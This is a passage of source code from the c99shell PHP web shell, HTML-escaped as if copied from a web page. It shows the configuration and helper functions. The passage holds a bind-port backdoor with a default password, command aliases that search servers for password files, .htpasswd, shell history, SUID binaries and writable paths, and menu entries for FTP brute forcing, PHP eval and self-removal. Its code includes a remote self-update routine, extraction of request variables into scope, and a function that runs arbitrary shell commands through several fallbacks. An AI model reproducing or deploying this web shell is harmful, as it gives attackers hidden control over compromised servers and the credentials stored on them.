//  array(&lt;br /&gt;
//   string &amp;quot;command{i}&amp;quot;=&amp;gt;array(&amp;quot;ext1&amp;quot;,&amp;quot;ext2&amp;quot;,&amp;quot;ext3&amp;quot;,...),&lt;br /&gt;
//   ...&lt;br /&gt;
//  )&lt;br /&gt;
//   {command}: %f% = filename&lt;br /&gt;
$exeftypes  = array(&lt;br /&gt;
 getenv(&amp;quot;PHPRC&amp;quot;).&amp;quot; %f%&amp;quot;=&amp;gt;array(&amp;quot;php&amp;quot;,&amp;quot;php3&amp;quot;,&amp;quot;php4&amp;quot;),&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
/* Highlighted files.&lt;br /&gt;
  array(&lt;br /&gt;
   i=&amp;gt;array({regexp},{type},{opentag},{closetag},{break})&lt;br /&gt;
   ...&lt;br /&gt;
  )&lt;br /&gt;
  string {regexp} - regular exp.&lt;br /&gt;
  int {type}:&lt;br /&gt;
	0 - files and folders (as default),&lt;br /&gt;
	1 - files only, 2 - folders only&lt;br /&gt;
  string {opentag} - open html-tag, e.g. &amp;quot;&amp;lt;b&amp;gt;&amp;quot; (default)&lt;br /&gt;
  string {closetag} - close html-tag, e.g. &amp;quot;&amp;lt;/b&amp;gt;&amp;quot; (default)&lt;br /&gt;
  bool {break} - if true and found match then break&lt;br /&gt;
*/&lt;br /&gt;
$regxp_highlight  = array(&lt;br /&gt;
  array(basename($_SERVER[&amp;quot;PHP_SELF&amp;quot;]),1,&amp;quot;&amp;lt;font color=\&amp;quot;yellow\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;), // example&lt;br /&gt;
  array(&amp;quot;config.php&amp;quot;,1) // example&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
$safemode_diskettes = array(&amp;quot;a&amp;quot;); // This variable for disabling diskett-errors.&lt;br /&gt;
									 // array (i=&amp;gt;{letter} ...); string {letter} - letter of a drive&lt;br /&gt;
									// Set as false or for turn off.&lt;br /&gt;
$hexdump_lines = 8;	// lines in hex preview file&lt;br /&gt;
$hexdump_rows = 24;	// 16, 24 or 32 bytes in one line&lt;br /&gt;
&lt;br /&gt;
$nixpwdperpage = 100; // Get first N lines from /etc/passwd&lt;br /&gt;
&lt;br /&gt;
$bindport_pass = &amp;quot;c99&amp;quot;;	  // default password for binding&lt;br /&gt;
$bindport_port = &amp;quot;11457&amp;quot;; // default port for binding&lt;br /&gt;
&lt;br /&gt;
// Command-aliases&lt;br /&gt;
if (!$win)&lt;br /&gt;
{&lt;br /&gt;
 $cmdaliases = array(&lt;br /&gt;
  array(&amp;quot;-----------------------------------------------------------&amp;quot;, &amp;quot;ls -la&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all suid files&amp;quot;, &amp;quot;find / -type f -perm -04000 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find suid files in current dir&amp;quot;, &amp;quot;find . -type f -perm -04000 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all sgid files&amp;quot;, &amp;quot;find / -type f -perm -02000 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find sgid files in current dir&amp;quot;, &amp;quot;find . -type f -perm -02000 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find config.inc.php files&amp;quot;, &amp;quot;find / -type f -name config.inc.php&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find config* files&amp;quot;, &amp;quot;find / -type f -name \&amp;quot;config*\&amp;quot;&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find config* files in current dir&amp;quot;, &amp;quot;find . -type f -name \&amp;quot;config*\&amp;quot;&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all writable directories and files&amp;quot;, &amp;quot;find / -perm -2 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all writable directories and files in current dir&amp;quot;, &amp;quot;find . -perm -2 -ls&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all service.pwd files&amp;quot;, &amp;quot;find / -type f -name service.pwd&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find service.pwd files in current dir&amp;quot;, &amp;quot;find . -type f -name service.pwd&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all .htpasswd files&amp;quot;, &amp;quot;find / -type f -name .htpasswd&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find .htpasswd files in current dir&amp;quot;, &amp;quot;find . -type f -name .htpasswd&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all .bash_history files&amp;quot;, &amp;quot;find / -type f -name .bash_history&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find .bash_history files in current dir&amp;quot;, &amp;quot;find . -type f -name .bash_history&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find all .fetchmailrc files&amp;quot;, &amp;quot;find / -type f -name .fetchmailrc&amp;quot;),&lt;br /&gt;
  array(&amp;quot;find .fetchmailrc files in current dir&amp;quot;, &amp;quot;find . -type f -name .fetchmailrc&amp;quot;),&lt;br /&gt;
  array(&amp;quot;list file attributes on a Linux second extended file system&amp;quot;, &amp;quot;lsattr -va&amp;quot;),&lt;br /&gt;
  array(&amp;quot;show opened ports&amp;quot;, &amp;quot;netstat -an | grep -i listen&amp;quot;)&lt;br /&gt;
 );&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
 $cmdaliases = array(&lt;br /&gt;
  array(&amp;quot;-----------------------------------------------------------&amp;quot;, &amp;quot;dir&amp;quot;),&lt;br /&gt;
  array(&amp;quot;show opened ports&amp;quot;, &amp;quot;netstat -an&amp;quot;)&lt;br /&gt;
 );&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$sess_cookie = &amp;quot;c99shvars&amp;quot;; // Cookie-variable name&lt;br /&gt;
&lt;br /&gt;
$usefsbuff = true; //Buffer-function&lt;br /&gt;
$copy_unset = false; //Remove copied files from buffer after pasting&lt;br /&gt;
&lt;br /&gt;
//Quick launch&lt;br /&gt;
$quicklaunch = array(&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=home\&amp;quot; alt=\&amp;quot;Home\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,$surl),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=back\&amp;quot; alt=\&amp;quot;Back\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;#\&amp;quot; onclick=\&amp;quot;history.back(1)&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=forward\&amp;quot; alt=\&amp;quot;Forward\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;#\&amp;quot; onclick=\&amp;quot;history.go(1)&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=up\&amp;quot; alt=\&amp;quot;UPDIR\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,$surl.&amp;quot;act=ls&amp;amp;d=%upd&amp;amp;sort=%sort&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=refresh\&amp;quot; alt=\&amp;quot;Refresh\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;17\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,&amp;quot;&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=search\&amp;quot; alt=\&amp;quot;Search\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,$surl.&amp;quot;act=search&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=buffer\&amp;quot; alt=\&amp;quot;Buffer\&amp;quot; height=\&amp;quot;20\&amp;quot; width=\&amp;quot;20\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;quot;,$surl.&amp;quot;act=fsbuff&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Encoder&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=encoder&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Bind&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=bind&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Proc.&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=ps_aux&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;FTP brute&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=ftpquickbrute&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Sec.&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=security&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;SQL&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=sql&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;PHP-code&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=eval&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Feedback&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=feedback&amp;amp;d=%d&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Self remove&amp;lt;/b&amp;gt;&amp;quot;,$surl.&amp;quot;act=selfremove&amp;quot;),&lt;br /&gt;
 array(&amp;quot;&amp;lt;b&amp;gt;Logout&amp;lt;/b&amp;gt;&amp;quot;,&amp;quot;#\&amp;quot; onclick=\&amp;quot;if (confirm('Are you sure?')) window.close()&amp;quot;)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
//Highlight-code colors&lt;br /&gt;
$highlight_background = &amp;quot;#c0c0c0&amp;quot;;&lt;br /&gt;
$highlight_bg = &amp;quot;#FFFFFF&amp;quot;;&lt;br /&gt;
$highlight_comment = &amp;quot;#6A6A6A&amp;quot;;&lt;br /&gt;
$highlight_default = &amp;quot;#0000BB&amp;quot;;&lt;br /&gt;
$highlight_html = &amp;quot;#1300FF&amp;quot;;&lt;br /&gt;
$highlight_keyword = &amp;quot;#007700&amp;quot;;&lt;br /&gt;
$highlight_string = &amp;quot;#000000&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
@$f = $_REQUEST[&amp;quot;f&amp;quot;];&lt;br /&gt;
@extract($_REQUEST[&amp;quot;c99shcook&amp;quot;]);&lt;br /&gt;
&lt;br /&gt;
//END CONFIGURATION&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// 				\/	Next code isn't for editing	\/&lt;br /&gt;
$tmp = array();&lt;br /&gt;
foreach($host_allow as $k=&amp;gt;$v) {$tmp[] = str_replace(&amp;quot;\\*&amp;quot;,&amp;quot;.*&amp;quot;,preg_quote($v));}&lt;br /&gt;
$s = &amp;quot;!^(&amp;quot;.implode(&amp;quot;|&amp;quot;,$tmp).&amp;quot;)$!i&amp;quot;;&lt;br /&gt;
if (!preg_match($s,getenv(&amp;quot;REMOTE_ADDR&amp;quot;)) and !preg_match($s,gethostbyaddr(getenv(&amp;quot;REMOTE_ADDR&amp;quot;)))) {exit(&amp;quot;&amp;lt;a href=\&amp;quot;http://ccteam.ru/releases/cc99shell\&amp;quot;&amp;gt;c99shell&amp;lt;/a&amp;gt;: Access Denied - your host (&amp;quot;.getenv(&amp;quot;REMOTE_ADDR&amp;quot;).&amp;quot;) not allow&amp;quot;);}&lt;br /&gt;
if ($login)&lt;br /&gt;
{&lt;br /&gt;
 if(empty($md5_pass)) {$md5_pass = md5($pass);}&lt;br /&gt;
 if (($_SERVER[&amp;quot;PHP_AUTH_USER&amp;quot;] != $login ) or (md5($_SERVER[&amp;quot;PHP_AUTH_PW&amp;quot;]) != $md5_pass))&lt;br /&gt;
 {&lt;br /&gt;
  if ($login_txt === false) {$login_txt = &amp;quot;&amp;quot;;}&lt;br /&gt;
  elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(&amp;quot;&amp;amp;nbsp;|&amp;lt;br&amp;gt;&amp;quot;,&amp;quot; &amp;quot;,$donated_html));}&lt;br /&gt;
  header(&amp;quot;WWW-Authenticate: Basic realm=\&amp;quot;c99shell &amp;quot;.$shver.&amp;quot;: &amp;quot;.$login_txt.&amp;quot;\&amp;quot;&amp;quot;);&lt;br /&gt;
  header(&amp;quot;HTTP/1.0 401 Unauthorized&amp;quot;);&lt;br /&gt;
  exit($accessdeniedmess);&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act != &amp;quot;img&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
$lastdir = realpath(&amp;quot;.&amp;quot;);&lt;br /&gt;
chdir($curdir);&lt;br /&gt;
if (($selfwrite) or ($updatenow))&lt;br /&gt;
{&lt;br /&gt;
 if ($selfwrite == &amp;quot;1&amp;quot;) {$selfwrite = &amp;quot;c99shell.php&amp;quot;;}&lt;br /&gt;
 c99sh_getupdate();&lt;br /&gt;
 $data = file_get_contents($c99sh_updatefurl);&lt;br /&gt;
 $fp = fopen($data,&amp;quot;w&amp;quot;);&lt;br /&gt;
 fwrite($fp,$data);&lt;br /&gt;
 fclose($fp);&lt;br /&gt;
 exit;&lt;br /&gt;
}&lt;br /&gt;
$sess_data = unserialize($_COOKIE[&amp;quot;$sess_cookie&amp;quot;]);&lt;br /&gt;
if (!is_array($sess_data)) {$sess_data = array();}&lt;br /&gt;
if (!is_array($sess_data[&amp;quot;copy&amp;quot;])) {$sess_data[&amp;quot;copy&amp;quot;] = array();}&lt;br /&gt;
if (!is_array($sess_data[&amp;quot;cut&amp;quot;])) {$sess_data[&amp;quot;cut&amp;quot;] = array();}&lt;br /&gt;
&lt;br /&gt;
if (!function_exists(&amp;quot;c99_buff_prepare&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function c99_buff_prepare()&lt;br /&gt;
{&lt;br /&gt;
 global $sess_data;&lt;br /&gt;
 global $act;&lt;br /&gt;
 foreach($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v) {$sess_data[&amp;quot;copy&amp;quot;][$k] = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,realpath($v));} &lt;br /&gt;
 foreach($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v) {$sess_data[&amp;quot;cut&amp;quot;][$k] = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,realpath($v));} &lt;br /&gt;
 $sess_data[&amp;quot;copy&amp;quot;] = array_unique($sess_data[&amp;quot;copy&amp;quot;]);&lt;br /&gt;
 $sess_data[&amp;quot;cut&amp;quot;] = array_unique($sess_data[&amp;quot;cut&amp;quot;]);&lt;br /&gt;
 sort($sess_data[&amp;quot;copy&amp;quot;]);&lt;br /&gt;
 sort($sess_data[&amp;quot;cut&amp;quot;]);&lt;br /&gt;
 if ($act != &amp;quot;copy&amp;quot;) {foreach($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v) {if ($sess_data[&amp;quot;copy&amp;quot;][$k] == $v) {unset($sess_data[&amp;quot;copy&amp;quot;][$k]); }}}&lt;br /&gt;
 else {foreach($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v) {if ($sess_data[&amp;quot;cut&amp;quot;][$k] == $v) {unset($sess_data[&amp;quot;cut&amp;quot;][$k]);}}}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
c99_buff_prepare();&lt;br /&gt;
if (!function_exists(&amp;quot;c99_sess_put&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function c99_sess_put($data)&lt;br /&gt;
{&lt;br /&gt;
 global $sess_cookie;&lt;br /&gt;
 global $sess_data;&lt;br /&gt;
 c99_buff_prepare();&lt;br /&gt;
 $sess_data = $data;&lt;br /&gt;
 $data = serialize($data);&lt;br /&gt;
 setcookie($sess_cookie,$data);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if ($sort_save)&lt;br /&gt;
{&lt;br /&gt;
 if (!empty($sort)) {setcookie(&amp;quot;sort&amp;quot;,$sort);}&lt;br /&gt;
 if (!empty($sql_sort)) {setcookie(&amp;quot;sql_sort&amp;quot;,$sql_sort);}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;str2mini&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function str2mini($content,$len)&lt;br /&gt;
{&lt;br /&gt;
 if (strlen($content) &amp;gt; $len) &lt;br /&gt;
 {&lt;br /&gt;
  $len = ceil($len/2) - 2;&lt;br /&gt;
  return substr($content, 0, $len).&amp;quot;...&amp;quot;.substr($content, -$len);&lt;br /&gt;
 }&lt;br /&gt;
 else {return $content;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;view_size&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function view_size($size)&lt;br /&gt;
{&lt;br /&gt;
 if (!is_numeric($size)) {return false;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  if ($size &amp;gt;= 1073741824) {$size = round($size/1073741824*100)/100 .&amp;quot; GB&amp;quot;;}&lt;br /&gt;
  elseif ($size &amp;gt;= 1048576) {$size = round($size/1048576*100)/100 .&amp;quot; MB&amp;quot;;}&lt;br /&gt;
  elseif ($size &amp;gt;= 1024) {$size = round($size/1024*100)/100 .&amp;quot; KB&amp;quot;;}&lt;br /&gt;
  else {$size = $size . &amp;quot; B&amp;quot;;}&lt;br /&gt;
  return $size;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_copy_dir&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_copy_dir($d,$t)&lt;br /&gt;
{&lt;br /&gt;
 $d = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$d);&lt;br /&gt;
 if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
 $h = opendir($d);&lt;br /&gt;
 while (($o = readdir($h)) !== false)&lt;br /&gt;
 {&lt;br /&gt;
  if (($o != &amp;quot;.&amp;quot;) and ($o != &amp;quot;..&amp;quot;))&lt;br /&gt;
  {&lt;br /&gt;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}&lt;br /&gt;
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}&lt;br /&gt;
   if (!$ret) {return $ret;}&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 closedir($h);&lt;br /&gt;
 return true;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_copy_obj&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_copy_obj($d,$t)&lt;br /&gt;
{&lt;br /&gt;
 $d = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$d);&lt;br /&gt;
 $t = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$t);&lt;br /&gt;
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}&lt;br /&gt;
 if (is_dir($d))&lt;br /&gt;
 {&lt;br /&gt;
  if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
  if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
  return fs_copy_dir($d,$t);&lt;br /&gt;
 }&lt;br /&gt;
 elseif (is_file($d)) {return copy($d,$t);}&lt;br /&gt;
 else {return false;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_move_dir&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_move_dir($d,$t)&lt;br /&gt;
{&lt;br /&gt;
 $h = opendir($d);&lt;br /&gt;
 if (!is_dir($t)) {mkdir($t);}&lt;br /&gt;
 while (($o = readdir($h)) !== false)&lt;br /&gt;
 {&lt;br /&gt;
  if (($o != &amp;quot;.&amp;quot;) and ($o != &amp;quot;..&amp;quot;))&lt;br /&gt;
  {&lt;br /&gt;
   $ret = true;&lt;br /&gt;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}&lt;br /&gt;
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}&lt;br /&gt;
   if (!$ret) {return $ret;}&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 closedir($h);&lt;br /&gt;
 return true;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_move_obj&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_move_obj($d,$t)&lt;br /&gt;
{&lt;br /&gt;
 $d = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$d);&lt;br /&gt;
 $t = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$t);&lt;br /&gt;
 if (is_dir($d))&lt;br /&gt;
 {&lt;br /&gt;
  if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
  if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
  return fs_move_dir($d,$t);&lt;br /&gt;
 }&lt;br /&gt;
 elseif (is_file($d))&lt;br /&gt;
 {&lt;br /&gt;
  if(copy($d,$t)) {return unlink($d);}&lt;br /&gt;
  else {unlink($t); return false;}&lt;br /&gt;
 }&lt;br /&gt;
 else {return false;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_rmdir&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_rmdir($d)&lt;br /&gt;
{&lt;br /&gt;
 $h = opendir($d);&lt;br /&gt;
 while (($o = readdir($h)) !== false)&lt;br /&gt;
 {&lt;br /&gt;
  if (($o != &amp;quot;.&amp;quot;) and ($o != &amp;quot;..&amp;quot;))&lt;br /&gt;
  {&lt;br /&gt;
   if (!is_dir($d.$o)) {unlink($d.$o);}&lt;br /&gt;
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 closedir($h);&lt;br /&gt;
 rmdir($d);&lt;br /&gt;
 return !is_dir($d);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_rmobj&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_rmobj($o)&lt;br /&gt;
{&lt;br /&gt;
 $o = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$o);&lt;br /&gt;
 if (is_dir($o))&lt;br /&gt;
 {&lt;br /&gt;
  if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
  return fs_rmdir($o);&lt;br /&gt;
 }&lt;br /&gt;
 elseif (is_file($o)) {return unlink($o);}&lt;br /&gt;
 else {return false;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;myshellexec&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function myshellexec($cmd)&lt;br /&gt;
{ &lt;br /&gt;
 $result = &amp;quot;&amp;quot;;&lt;br /&gt;
 if (!empty($cmd))&lt;br /&gt;
 {&lt;br /&gt;
  if (is_callable(&amp;quot;exec&amp;quot;)) {exec($cmd,$result); $result = join(&amp;quot;\n&amp;quot;,$result);}&lt;br /&gt;
  elseif (is_callable(&amp;quot;shell_exec&amp;quot;)) {$result = shell_exec($cmd);}&lt;br /&gt;
  elseif (is_callable(&amp;quot;system&amp;quot;)) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();}&lt;br /&gt;
  elseif (is_callable(&amp;quot;passthru&amp;quot;)) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();}&lt;br /&gt;
  elseif (($result = `$cmd`) !== false) {}&lt;br /&gt;
  elseif (is_resource($fp = popen($cmd,&amp;quot;r&amp;quot;)))&lt;br /&gt;
  {&lt;br /&gt;
   $result = &amp;quot;&amp;quot;;&lt;br /&gt;
   while(!feof($fp)) {$result .= fread($fp,1024);}&lt;br /&gt;
   pclose($fp);&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 return $result;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;tabsort&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
 function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;view_perms&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function view_perms($mode)&lt;br /&gt;
{&lt;br /&gt;
 if (($mode &amp;amp; 0xC000) === 0xC000) {$type = &amp;quot;s&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x4000) === 0x4000) {$type = &amp;quot;d&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0xA000) === 0xA000) {$type = &amp;quot;l&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x8000) === 0x8000) {$type = &amp;quot;-&amp;quot;;} &lt;br /&gt;
 elseif (($mode &amp;amp; 0x6000) === 0x6000) {$type = &amp;quot;b&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x2000) === 0x2000) {$type = &amp;quot;c&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x1000) === 0x1000) {$type = &amp;quot;p&amp;quot;;}&lt;br /&gt;
 else {$type = &amp;quot;?&amp;quot;;}&lt;br /&gt;
&lt;br /&gt;
 $owner[&amp;quot;read&amp;quot;] = ($mode &amp;amp; 00400) ? &amp;quot;r&amp;quot; : &amp;quot;-&amp;quot;; &lt;br /&gt;
 $owner[&amp;quot;write&amp;quot;] = ($mode &amp;amp; 00200) ? &amp;quot;w&amp;quot; : &amp;quot;-&amp;quot;; &lt;br /&gt;
 $owner[&amp;quot;execute&amp;quot;] = ($mode &amp;amp; 00100) ? &amp;quot;x&amp;quot; : &amp;quot;-&amp;quot;; &lt;br /&gt;
 $group[&amp;quot;read&amp;quot;] = ($mode &amp;amp; 00040) ? &amp;quot;r&amp;quot; : &amp;quot;-&amp;quot;; &lt;br /&gt;
 $group[&amp;quot;write&amp;quot;] = ($mode &amp;amp; 00020) ? &amp;quot;w&amp;quot; : &amp;quot;-&amp;quot;; &lt;br /&gt;
 $group[&amp;quot;execute&amp;quot;] = ($mode &amp;amp; 00010) ? &amp;quot;x&amp;quot; : &amp;quot;-&amp;quot;; &lt;br /&gt;
 $world[&amp;quot;read&amp;quot;] = ($mode &amp;amp; 00004) ? &amp;quot;r&amp;quot; : &amp;quot;-&amp;quot;; &lt;br /&gt;
 $world[&amp;quot;write&amp;quot;] = ($mode &amp;amp; 00002) ? &amp;quot;w&amp;quot; : &amp;quot;-&amp;quot;; &lt;br /&gt;
 $world[&amp;quot;execute&amp;quot;] = ($mode &amp;amp; 00001) ? &amp;quot;x&amp;quot; : &amp;quot;-&amp;quot;; &lt;br /&gt;
&lt;br /&gt;
 if( $mode &amp;amp; 0x800 ) {$owner[&amp;quot;execute&amp;quot;] = ($owner[&amp;quot;execute&amp;quot;] == &amp;quot;x&amp;quot;) ? &amp;quot;s&amp;quot; : &amp;quot;S&amp;quot;;}&lt;br /&gt;
 if( $mode &amp;amp; 0x400 ) {$group[&amp;quot;execute&amp;quot;] = ($group[&amp;quot;execute&amp;quot;] == &amp;quot;x&amp;quot;) ? &amp;quot;s&amp;quot; : &amp;quot;S&amp;quot;;}&lt;br /&gt;
